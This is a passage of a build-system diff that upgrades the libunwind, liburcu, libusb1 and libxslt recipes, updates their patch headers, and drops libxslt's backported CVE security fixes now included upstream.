index edaa822be1..e58a71b741 100644
--- a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
+++ b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
@@ -1,7 +1,8 @@
-From 02919d74b1599979884f9cee466ed392d9fc4819 Mon Sep 17 00:00:00 2001
+From 24c751f9d21e892a9833e1b70a696b07872b0f7f Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 9 Jul 2016 01:07:53 +0000
-Subject: [PATCH 5/6] ppc32: Consider ucontext mismatches between glibc and
+Subject: [PATCH] ppc32: Consider ucontext mismatches between glibc and
+
musl
This helps in porting libunwind onto musl based systems
@@ -29,7 +30,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
3 files changed, 92 insertions(+), 79 deletions(-)
diff --git a/src/ppc32/Ginit.c b/src/ppc32/Ginit.c
-index ba30244..c5312d9 100644
+index 7b45455..f8d6886 100644
--- a/src/ppc32/Ginit.c
+++ b/src/ppc32/Ginit.c
@@ -48,12 +48,12 @@ uc_addr (ucontext_t *uc, int reg)
@@ -227,7 +228,7 @@ index c6ba806..b79f15c 100644
#endif
diff --git a/src/ptrace/_UPT_reg_offset.c b/src/ptrace/_UPT_reg_offset.c
-index c82d1c9..6c31baa 100644
+index b7dd3b7..bfaf756 100644
--- a/src/ptrace/_UPT_reg_offset.c
+++ b/src/ptrace/_UPT_reg_offset.c
@@ -27,6 +27,13 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
@@ -242,8 +243,5 @@ index c82d1c9..6c31baa 100644
+# undef pt_regs
+#endif
- #ifdef HAVE_ASM_PTRACE_OFFSETS_H
- # include <asm/ptrace_offsets.h>
---
-2.20.1
-
+ #ifdef HAVE_ASM_PTRACE_H
+ # include <asm/ptrace.h>
diff --git a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch b/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
index 37ae8124cc..9941612387 100644
--- a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
+++ b/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
@@ -1,7 +1,7 @@
-From 7a4fd5933cc795df85cdd85168fe54fbaec4dcec Mon Sep 17 00:00:00 2001
+From f2eae0af620925b3686410470fc6fbc66ec1dc52 Mon Sep 17 00:00:00 2001
From: Christopher Larson <chris_larson@mentor.com>
Date: Tue, 13 Dec 2016 09:50:34 -0700
-Subject: [PATCH 6/6] Fix for X32
+Subject: [PATCH] Fix for X32
Apply patch to fix the X32 build from https://github.com/sjnewbury/x32.
@@ -13,10 +13,10 @@ Signed-off-by: Christopher Larson <chris_larson@mentor.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/x86_64/Gos-linux.c b/src/x86_64/Gos-linux.c
-index bd14234..be1cb5b 100644
+index b489329..0550005 100644
--- a/src/x86_64/Gos-linux.c
+++ b/src/x86_64/Gos-linux.c
-@@ -145,8 +145,8 @@ x86_64_sigreturn (unw_cursor_t *cursor)
+@@ -146,8 +146,8 @@ x86_64_sigreturn (unw_cursor_t *cursor)
Debug (8, "resuming at ip=%llx via sigreturn(%p)\n",
(unsigned long long) c->dwarf.ip, sc);
@@ -25,8 +25,5 @@ index bd14234..be1cb5b 100644
+ __asm__ __volatile__ ("mov %q0, %%rsp;"
+ "mov %q1, %%rax;"
"syscall"
- :: "r"(sc), "i"(SYS_rt_sigreturn)
+ :: "r"((uint64_t)sc), "i"(SYS_rt_sigreturn)
: "memory");
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch b/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
index 79f63fd84e..49985b5b3c 100644
--- a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
+++ b/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
@@ -1,4 +1,7 @@
-If you:
+From e1de5a5b42062dc02769f320c7785928b2ee0c57 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 18 Aug 2016 14:46:32 +0100
+Subject: [PATCH] If you:
TCLIBC=musl bitbake unwind
TCLIBC=musl bitbake gcc-runtime -c cleansstate
@@ -6,12 +9,12 @@ TCLIBC=musl bitbake gcc-runtime
you will see libstdc++ fail to build due to finding libunwind's header file.
-Khem: "When we build any of gcc components they expect to use internal version
-and that works with glibc based gcc since the search headers first look into gcc
-headers, however with musl the gcc headers are searched after the standard
+Khem: "When we build any of gcc components they expect to use internal version
+and that works with glibc based gcc since the search headers first look into gcc
+headers, however with musl the gcc headers are searched after the standard
headers ( which is by design the right thing )."
-This patch hacks around the issue by looking for a define used during gcc-runtime's
+This patch hacks around the issue by looking for a define used during gcc-runtime's
build and skipping to the internal header in that case.
[YOCTO #10129]
@@ -20,11 +23,15 @@ RP 2016/8/18
Upstream-Status: Inappropriate [really need to fix gcc]
-Index: git/include/unwind.h
-===================================================================
---- git.orig/include/unwind.h
-+++ git/include/unwind.h
-@@ -23,6 +23,10 @@ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER L
+---
+ include/unwind.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/include/unwind.h b/include/unwind.h
+index 93780fa..c812414 100644
+--- a/include/unwind.h
++++ b/include/unwind.h
+@@ -23,6 +23,10 @@ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
diff --git a/meta/recipes-support/libunwind/libunwind_1.3.1.bb b/meta/recipes-support/libunwind/libunwind_1.3.1.bb
deleted file mode 100644
index 037e04c3c0..0000000000
--- a/meta/recipes-support/libunwind/libunwind_1.3.1.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-require libunwind.inc
-
-SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
- file://0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch \
- file://0002-backtrace-Use-only-with-glibc-and-uclibc.patch \
- file://0003-x86-Stub-out-x86_local_resume.patch \
- file://0004-Fix-build-on-mips-musl.patch \
- file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
- file://0006-Fix-for-X32.patch \
- "
-SRC_URI_append_libc-musl = " file://musl-header-conflict.patch"
-
-SRC_URI[md5sum] = "a04f69d66d8e16f8bf3ab72a69112cd6"
-SRC_URI[sha256sum] = "43997a3939b6ccdf2f669b50fdb8a4d3205374728c2923ddc2354c65260214f8"
-
-EXTRA_OECONF_append_libc-musl = " --disable-documentation --disable-tests --enable-static"
-
-# http://errors.yoctoproject.org/Errors/Details/20487/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-SECURITY_LDFLAGS_append_libc-musl = " -lssp_nonshared"
diff --git a/meta/recipes-support/libunwind/libunwind_1.6.2.bb b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
new file mode 100644
index 0000000000..716be9a452
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
@@ -0,0 +1,24 @@
+require libunwind.inc
+
+SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
+ file://0003-x86-Stub-out-x86_local_resume.patch \
+ file://0004-Fix-build-on-mips-musl.patch \
+ file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
+ file://0006-Fix-for-X32.patch \
+ "
+SRC_URI:append:libc-musl = " file://musl-header-conflict.patch"
+
+SRC_URI[sha256sum] = "4a6aec666991fb45d0889c44aede8ad6eb108071c3554fcdff671f9c94794976"
+
+EXTRA_OECONF:append:libc-musl = " --disable-documentation --disable-tests --enable-static"
+
+# http://errors.yoctoproject.org/Errors/Details/20487/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+COMPATIBLE_HOST:riscv32 = "null"
+
+LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+
+SECURITY_LDFLAGS:append:libc-musl = " -lssp_nonshared"
+CACHED_CONFIGUREVARS:append:libc-musl = " LDFLAGS='${LDFLAGS} -lucontext'"
diff --git a/meta/recipes-support/liburcu/liburcu_0.11.1.bb b/meta/recipes-support/liburcu/liburcu_0.11.1.bb
deleted file mode 100644
index 6a517e6f29..0000000000
--- a/meta/recipes-support/liburcu/liburcu_0.11.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Userspace RCU (read-copy-update) library"
-HOMEPAGE = "http://lttng.org/urcu"
-BUGTRACKER = "http://lttng.org/project/issues"
-
-LICENSE = "LGPLv2.1+ & MIT-style"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
- file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
- file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
-
-SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
-
-SRC_URI[md5sum] = "91c75d5902127f94ab556ce039b369ca"
-SRC_URI[sha256sum] = "92b9971bf3f1c443edd6c09e7bf5ff3b43531e778841f16377a812c8feeb3350"
-
-S = "${WORKDIR}/userspace-rcu-${PV}"
-inherit autotools multilib_header
-
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
-
-do_install_append() {
- oe_multilib_header urcu/config.h
-}
diff --git a/meta/recipes-support/liburcu/liburcu_0.13.1.bb b/meta/recipes-support/liburcu/liburcu_0.13.1.bb
new file mode 100644
index 0000000000..66763349d2
--- /dev/null
+++ b/meta/recipes-support/liburcu/liburcu_0.13.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Userspace RCU (read-copy-update) library"
+DESCRIPTION = "A userspace RCU (read-copy-update) library. This data \
+synchronization library provides read-side access which scales linearly \
+with the number of cores. "
+HOMEPAGE = "http://lttng.org/urcu"
+BUGTRACKER = "http://lttng.org/project/issues"
+
+LICENSE = "LGPL-2.1-or-later & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
+ file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
+ file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
+
+SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "3213f33d2b8f710eb920eb1abb279ec04bf8ae6361f44f2513c28c20d3363083"
+
+S = "${WORKDIR}/userspace-rcu-${PV}"
+inherit autotools multilib_header
+
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
+
+do_install:append() {
+ oe_multilib_header urcu/config.h
+}
diff --git a/meta/recipes-support/libusb/libusb1/no-dll.patch b/meta/recipes-support/libusb/libusb1/no-dll.patch
deleted file mode 100644
index 6e6bb83d1f..0000000000
--- a/meta/recipes-support/libusb/libusb1/no-dll.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-As all invokes all-recursive which uses sub-makes to invoke all-am, the
-resulting makefile wants to build libusb-1.0.la twice. In non-parallel builds
-the second attempt is skipped as the target already exists, but in highly
-parallel builds it's likely that two makes will be building libusb-1.0.la at the
-same time.
-
-Solve this by removing the explicit all target, which as libusb-1.0.dll isn't
-built under Linux is redundant anyway.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/libusb/Makefile.am b/libusb/Makefile.am
-index 0cab0a0..c880213 100644
---- a/libusb/Makefile.am
-+++ b/libusb/Makefile.am
-@@ -1,2 +0,0 @@
--all: libusb-1.0.la libusb-1.0.dll
--
diff --git a/meta/recipes-support/libusb/libusb1_1.0.22.bb b/meta/recipes-support/libusb/libusb1_1.0.22.bb
deleted file mode 100644
index 1d9d772575..0000000000
--- a/meta/recipes-support/libusb/libusb1_1.0.22.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "Userspace library to access USB (version 1.0)"
-HOMEPAGE = "http://libusb.sf.net"
-BUGTRACKER = "http://www.libusb.org/report"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/libusb/libusb-${PV}.tar.bz2 \
- file://no-dll.patch \
- file://run-ptest \
- "
-
-SRC_URI[md5sum] = "466267889daead47674df933cea9cacb"
-SRC_URI[sha256sum] = "75aeb9d59a4fdb800d329a545c2e6799f732362193b465ea198f2aa275518157"
-
-S = "${WORKDIR}/libusb-${PV}"
-
-inherit autotools pkgconfig ptest
-
-PACKAGECONFIG_class-target ??= "udev"
-PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
-
-EXTRA_OECONF = "--libdir=${base_libdir}"
-
-do_install_append() {
- install -d ${D}${libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-}
-
-do_compile_ptest() {
- oe_runmake -C tests stress
-}
-
-do_install_ptest() {
- install -m 755 ${B}/tests/.libs/stress ${D}${PTEST_PATH}
-}
-
-FILES_${PN} += "${base_libdir}/*.so.*"
-
-FILES_${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libusb/libusb1_1.0.25.bb b/meta/recipes-support/libusb/libusb1_1.0.25.bb
new file mode 100644
index 0000000000..64cc19e47d
--- /dev/null
+++ b/meta/recipes-support/libusb/libusb1_1.0.25.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Userspace library to access USB (version 1.0)"
+DESCRIPTION = "A cross-platform library to access USB devices from Linux, \
+macOS, Windows, OpenBSD/NetBSD, Haiku and Solaris userspace."
+HOMEPAGE = "https://libusb.info"
+BUGTRACKER = "http://www.libusb.org/report"
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI = "https://github.com/libusb/libusb/releases/download/v${PV}/libusb-${PV}.tar.bz2 \
+ file://run-ptest \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/libusb/libusb/releases"
+
+SRC_URI[sha256sum] = "8a28ef197a797ebac2702f095e81975e2b02b2eeff2774fa909c78a74ef50849"
+
+S = "${WORKDIR}/libusb-${PV}"
+
+inherit autotools pkgconfig ptest
+
+PACKAGECONFIG:class-target ??= "udev"
+PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+do_install:append() {
+ install -d ${D}${libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+}
+
+do_compile_ptest() {
+ oe_runmake -C tests stress
+}
+
+do_install_ptest() {
+ install -m 755 ${B}/tests/.libs/stress ${D}${PTEST_PATH}
+}
+
+FILES:${PN} += "${base_libdir}/*.so.*"
+
+FILES:${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libxslt/files/0001-Fix-security-framework-bypass.patch b/meta/recipes-support/libxslt/files/0001-Fix-security-framework-bypass.patch
deleted file mode 100644
index 89b647ddbf..0000000000
--- a/meta/recipes-support/libxslt/files/0001-Fix-security-framework-bypass.patch
+++ /dev/null
@@ -1,124 +0,0 @@
-From e03553605b45c88f0b4b2980adfbbb8f6fca2fd6 Mon Sep 17 00:00:00 2001
-From: Nick Wellnhofer <wellnhofer@aevum.de>
-Date: Sun, 24 Mar 2019 09:51:39 +0100
-Subject: Fix security framework bypass
-
-xsltCheckRead and xsltCheckWrite return -1 in case of error but callers
-don't check for this condition and allow access. With a specially
-crafted URL, xsltCheckRead could be tricked into returning an error
-because of a supposedly invalid URL that would still be loaded
-succesfully later on.
-
-Fixes #12.
-
-Thanks to Felix Wilhelm for the report.
-
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
-Upstream-Status: Backport
-CVE: CVE-2019-11068
----
- libxslt/documents.c | 18 ++++++++++--------
- libxslt/imports.c | 9 +++++----
- libxslt/transform.c | 9 +++++----
- libxslt/xslt.c | 9 +++++----
- 4 files changed, 25 insertions(+), 20 deletions(-)
-
-diff --git a/libxslt/documents.c b/libxslt/documents.c
-index 3f3a7312..4aad11bb 100644
---- a/libxslt/documents.c
-+++ b/libxslt/documents.c
-@@ -296,10 +296,11 @@ xsltLoadDocument(xsltTransformContextPtr ctxt, const xmlChar *URI) {
- int res;
-
- res = xsltCheckRead(ctxt->sec, ctxt, URI);
-- if (res == 0) {
-- xsltTransformError(ctxt, NULL, NULL,
-- "xsltLoadDocument: read rights for %s denied\n",
-- URI);
-+ if (res <= 0) {
-+ if (res == 0)
-+ xsltTransformError(ctxt, NULL, NULL,
-+ "xsltLoadDocument: read rights for %s denied\n",
-+ URI);
- return(NULL);
- }
- }
-@@ -372,10 +373,11 @@ xsltLoadStyleDocument(xsltStylesheetPtr style, const xmlChar *URI) {
- int res;
-
- res = xsltCheckRead(sec, NULL, URI);
-- if (res == 0) {
-- xsltTransformError(NULL, NULL, NULL,
-- "xsltLoadStyleDocument: read rights for %s denied\n",
-- URI);
-+ if (res <= 0) {
-+ if (res == 0)
-+ xsltTransformError(NULL, NULL, NULL,
-+ "xsltLoadStyleDocument: read rights for %s denied\n",
-+ URI);
- return(NULL);
- }
- }
-diff --git a/libxslt/imports.c b/libxslt/imports.c
-index 874870cc..3783b247 100644
---- a/libxslt/imports.c
-+++ b/libxslt/imports.c
-@@ -130,10 +130,11 @@ xsltParseStylesheetImport(xsltStylesheetPtr style, xmlNodePtr cur) {
- int secres;
-
- secres = xsltCheckRead(sec, NULL, URI);
-- if (secres == 0) {
-- xsltTransformError(NULL, NULL, NULL,
-- "xsl:import: read rights for %s denied\n",
-- URI);
-+ if (secres <= 0) {
-+ if (secres == 0)
-+ xsltTransformError(NULL, NULL, NULL,
-+ "xsl:import: read rights for %s denied\n",
-+ URI);
- goto error;
- }
- }
-diff --git a/libxslt/transform.c b/libxslt/transform.c
-index 13793914..0636dbd0 100644
---- a/libxslt/transform.c
-+++ b/libxslt/transform.c
-@@ -3493,10 +3493,11 @@ xsltDocumentElem(xsltTransformContextPtr ctxt, xmlNodePtr node,
- */
- if (ctxt->sec != NULL) {
- ret = xsltCheckWrite(ctxt->sec, ctxt, filename);
-- if (ret == 0) {
-- xsltTransformError(ctxt, NULL, inst,
-- "xsltDocumentElem: write rights for %s denied\n",
-- filename);
-+ if (ret <= 0) {
-+ if (ret == 0)
-+ xsltTransformError(ctxt, NULL, inst,
-+ "xsltDocumentElem: write rights for %s denied\n",
-+ filename);
- xmlFree(URL);
- xmlFree(filename);
- return;
-diff --git a/libxslt/xslt.c b/libxslt/xslt.c
-index 780a5ad7..a234eb79 100644
---- a/libxslt/xslt.c
-+++ b/libxslt/xslt.c
-@@ -6763,10 +6763,11 @@ xsltParseStylesheetFile(const xmlChar* filename) {
- int res;
-
- res = xsltCheckRead(sec, NULL, filename);
-- if (res == 0) {
-- xsltTransformError(NULL, NULL, NULL,
-- "xsltParseStylesheetFile: read rights for %s denied\n",
-- filename);
-+ if (res <= 0) {
-+ if (res == 0)
-+ xsltTransformError(NULL, NULL, NULL,
-+ "xsltParseStylesheetFile: read rights for %s denied\n",
-+ filename);
- return(NULL);
- }
- }
---
-2.20.1
-
diff --git a/meta/recipes-support/libxslt/files/CVE-2019-13117.patch b/meta/recipes-support/libxslt/files/CVE-2019-13117.patch
deleted file mode 100644
index ef3f2709f7..0000000000
--- a/meta/recipes-support/libxslt/files/CVE-2019-13117.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From c5eb6cf3aba0af048596106ed839b4ae17ecbcb1 Mon Sep 17 00:00:00 2001
-From: Nick Wellnhofer <wellnhofer@aevum.de>
-Date: Sat, 27 Apr 2019 11:19:48 +0200
-Subject: [PATCH] Fix uninitialized read of xsl:number token
-
-Found by OSS-Fuzz.
-
-CVE: CVE-2019-13117
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxslt/commit/c5eb6cf3aba0af048596106ed839b4ae17ecbcb1]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- libxslt/numbers.c | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/libxslt/numbers.c b/libxslt/numbers.c
-index 89e1f668..75c31eba 100644
---- a/libxslt/numbers.c
-+++ b/libxslt/numbers.c
-@@ -382,7 +382,10 @@ xsltNumberFormatTokenize(const xmlChar *format,
- tokens->tokens[tokens->nTokens].token = val - 1;
- ix += len;
- val = xmlStringCurrentChar(NULL, format+ix, &len);
-- }
-+ } else {
-+ tokens->tokens[tokens->nTokens].token = (xmlChar)'0';
-+ tokens->tokens[tokens->nTokens].width = 1;
-+ }
- } else if ( (val == (xmlChar)'A') ||
- (val == (xmlChar)'a') ||
- (val == (xmlChar)'I') ||
---
-2.21.0
-
diff --git a/meta/recipes-support/libxslt/files/CVE-2019-13118.patch b/meta/recipes-support/libxslt/files/CVE-2019-13118.patch
deleted file mode 100644
index 595e6c2f33..0000000000
--- a/meta/recipes-support/libxslt/files/CVE-2019-13118.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-From 6ce8de69330783977dd14f6569419489875fb71b Mon Sep 17 00:00:00 2001
-From: Nick Wellnhofer <wellnhofer@aevum.de>
-Date: Mon, 3 Jun 2019 13:14:45 +0200
-Subject: [PATCH] Fix uninitialized read with UTF-8 grouping chars
-
-The character type in xsltFormatNumberConversion was too narrow and
-an invalid character/length combination could be passed to
-xsltNumberFormatDecimal, resulting in an uninitialized read.
-
-Found by OSS-Fuzz.
-
-CVE: CVE-2019-13118
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- libxslt/numbers.c | 5 +++--
- tests/docs/bug-222.xml | 1 +
- tests/general/bug-222.out | 2 ++
- tests/general/bug-222.xsl | 6 ++++++
- 4 files changed, 12 insertions(+), 2 deletions(-)
- create mode 100644 tests/docs/bug-222.xml
- create mode 100644 tests/general/bug-222.out
- create mode 100644 tests/general/bug-222.xsl
-
-diff --git a/libxslt/numbers.c b/libxslt/numbers.c
-index f1ed8846..20b99d5a 100644
---- a/libxslt/numbers.c
-+++ b/libxslt/numbers.c
-@@ -1298,13 +1298,14 @@ OUTPUT_NUMBER:
- number = floor((scale * number + 0.5)) / scale;
- if ((self->grouping != NULL) &&
- (self->grouping[0] != 0)) {
-+ int gchar;
-
- len = xmlStrlen(self->grouping);
-- pchar = xsltGetUTF8Char(self->grouping, &len);
-+ gchar = xsltGetUTF8Char(self->grouping, &len);
- xsltNumberFormatDecimal(buffer, floor(number), self->zeroDigit[0],
- format_info.integer_digits,
- format_info.group,
-- pchar, len);
-+ gchar, len);
- } else
- xsltNumberFormatDecimal(buffer, floor(number), self->zeroDigit[0],
- format_info.integer_digits,
-diff --git a/tests/docs/bug-222.xml b/tests/docs/bug-222.xml
-new file mode 100644
-index 00000000..69d62f2c
---- /dev/null
-+++ b/tests/docs/bug-222.xml
-@@ -0,0 +1 @@
-+<doc/>
-diff --git a/tests/general/bug-222.out b/tests/general/bug-222.out
-new file mode 100644
-index 00000000..e3139698
---- /dev/null
-+++ b/tests/general/bug-222.out
-@@ -0,0 +1,2 @@
-+<?xml version="1.0"?>
-+1⠢0
-diff --git a/tests/general/bug-222.xsl b/tests/general/bug-222.xsl
-new file mode 100644
-index 00000000..e32dc473
---- /dev/null
-+++ b/tests/general/bug-222.xsl
-@@ -0,0 +1,6 @@
-+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
-+ <xsl:decimal-format name="f" grouping-separator="⠢"/>
-+ <xsl:template match="/">
-+ <xsl:value-of select="format-number(10,'#⠢0','f')"/>
-+ </xsl:template>
-+</xsl:stylesheet>
---
-2.21.0
-
diff --git a/meta/recipes-support/libxslt/files/CVE-2019-18197.patch b/meta/recipes-support/libxslt/files/CVE-2019-18197.patch
deleted file mode 100644
index 5f2b620396..0000000000
--- a/meta/recipes-support/libxslt/files/CVE-2019-18197.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-libxslt: fix CVE-2019-18197
-
-Added after 1.1.33 release.
-
-CVE: CVE-2019-18197
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxslt.git]
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-commit 2232473733b7313d67de8836ea3b29eec6e8e285
-Author: Nick Wellnhofer <wellnhofer@aevum.de>
-Date: Sat Aug 17 16:51:53 2019 +0200
-
- Fix dangling pointer in xsltCopyText
-
- xsltCopyText didn't reset ctxt->lasttext in some cases which could
- lead to various memory errors in relation with CDATA sections in input
- documents.
-
- Found by OSS-Fuzz.
-
-diff --git a/libxslt/transform.c b/libxslt/transform.c
-index 95ebd07..d7ab0b6 100644
---- a/libxslt/transform.c
-+++ b/libxslt/transform.c
-@@ -1094,6 +1094,8 @@ xsltCopyText(xsltTransformContextPtr ctxt, xmlNodePtr target,
- if ((copy->content = xmlStrdup(cur->content)) == NULL)
- return NULL;
- }
-+
-+ ctxt->lasttext = NULL;
- } else {
- /*
- * normal processing. keep counters to extend the text node
diff --git a/meta/recipes-support/libxslt/libxslt_1.1.33.bb b/meta/recipes-support/libxslt/libxslt_1.1.33.bb
deleted file mode 100644
index 9f268e7bb0..0000000000
--- a/meta/recipes-support/libxslt/libxslt_1.1.33.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "GNOME XSLT library"
-HOMEPAGE = "http://xmlsoft.org/XSLT/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://Copyright;md5=0cd9a07afbeb24026c9b03aecfeba458"
-
-SECTION = "libs"
-DEPENDS = "libxml2"
-
-SRC_URI = "http://xmlsoft.org/sources/libxslt-${PV}.tar.gz \
- file://0001-Fix-security-framework-bypass.patch \
- file://CVE-2019-13117.patch \
- file://CVE-2019-13118.patch \
- file://CVE-2019-18197.patch \
-"
-
-SRC_URI[md5sum] = "b3bd254a03e46d58f8ad1e4559cd2c2f"
-SRC_URI[sha256sum] = "8e36605144409df979cab43d835002f63988f3dc94d5d3537c12796db90e38c8"
-
-UPSTREAM_CHECK_REGEX = "libxslt-(?P<pver>\d+(\.\d+)+)\.tar"
-
-S = "${WORKDIR}/libxslt-${PV}"
-
-BINCONFIG = "${bindir}/xslt-config"
-
-inherit autotools pkgconfig binconfig-disabled lib_package
-
-do_configure_prepend () {
- # We don't DEPEND on binutils for ansidecl.h so ensure we don't use the header.
- # This can be removed when upgrading to 1.1.34.
- sed -i -e 's/ansidecl.h//' ${S}/configure.ac
-
- # The timestamps in the 1.1.28 tarball are messed up causing this file to
- # appear out of date. Touch it so that we don't try to regenerate it.
- touch ${S}/doc/xsltproc.1
-}
-
-EXTRA_OECONF = "--without-python --without-debug --without-mem-debug --without-crypto --with-html-subdir=${BPN}"
-# older versions of this recipe had ${PN}-utils
-RPROVIDES_${PN}-bin += "${PN}-utils"
-RCONFLICTS_${PN}-bin += "${PN}-utils"
-RREPLACES_${PN}-bin += "${PN}-utils"
-
-# This is only needed until libxml can load the relocated catalog itself
-do_install_append_class-native () {
- create_wrapper ${D}/${bindir}/xsltproc XML_CATALOG_FILES=${sysconfdir}/xml/catalog
-}
-
-FILES_${PN} += "${libdir}/libxslt-plugins"
-FILES_${PN}-dev += "${libdir}/xsltConf.sh"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libxslt/libxslt_1.1.35.bb b/meta/recipes-support/libxslt/libxslt_1.1.35.bb
new file mode 100644
index 0000000000..51cfb2e281
--- /dev/null
+++ b/meta/recipes-support/libxslt/libxslt_1.1.35.bb
@@ -0,0 +1,56 @@
+SUMMARY = "GNOME XSLT library"
+DESCRIPTION = "libxslt is the XSLT C parser and toolkit developed for the Gnome project. \
+XSLT itself is a an XML language to define transformation for XML. Libxslt is based on \
+libxml2 the XML C library developed for the GNOME project. It also implements most of \
+the EXSLT set of processor-portable extensions functions and some of Saxon's evaluate \
+and expressions extensions."
+HOMEPAGE = "http://xmlsoft.org/XSLT/"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://Copyright;md5=0cd9a07afbeb24026c9b03aecfeba458"
+
+SECTION = "libs"
+DEPENDS = "libxml2"
+
+SRC_URI = "https://download.gnome.org/sources/libxslt/1.1/libxslt-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "8247f33e9a872c6ac859aa45018bc4c4d00b97e2feac9eebc10c93ce1f34dd79"
+
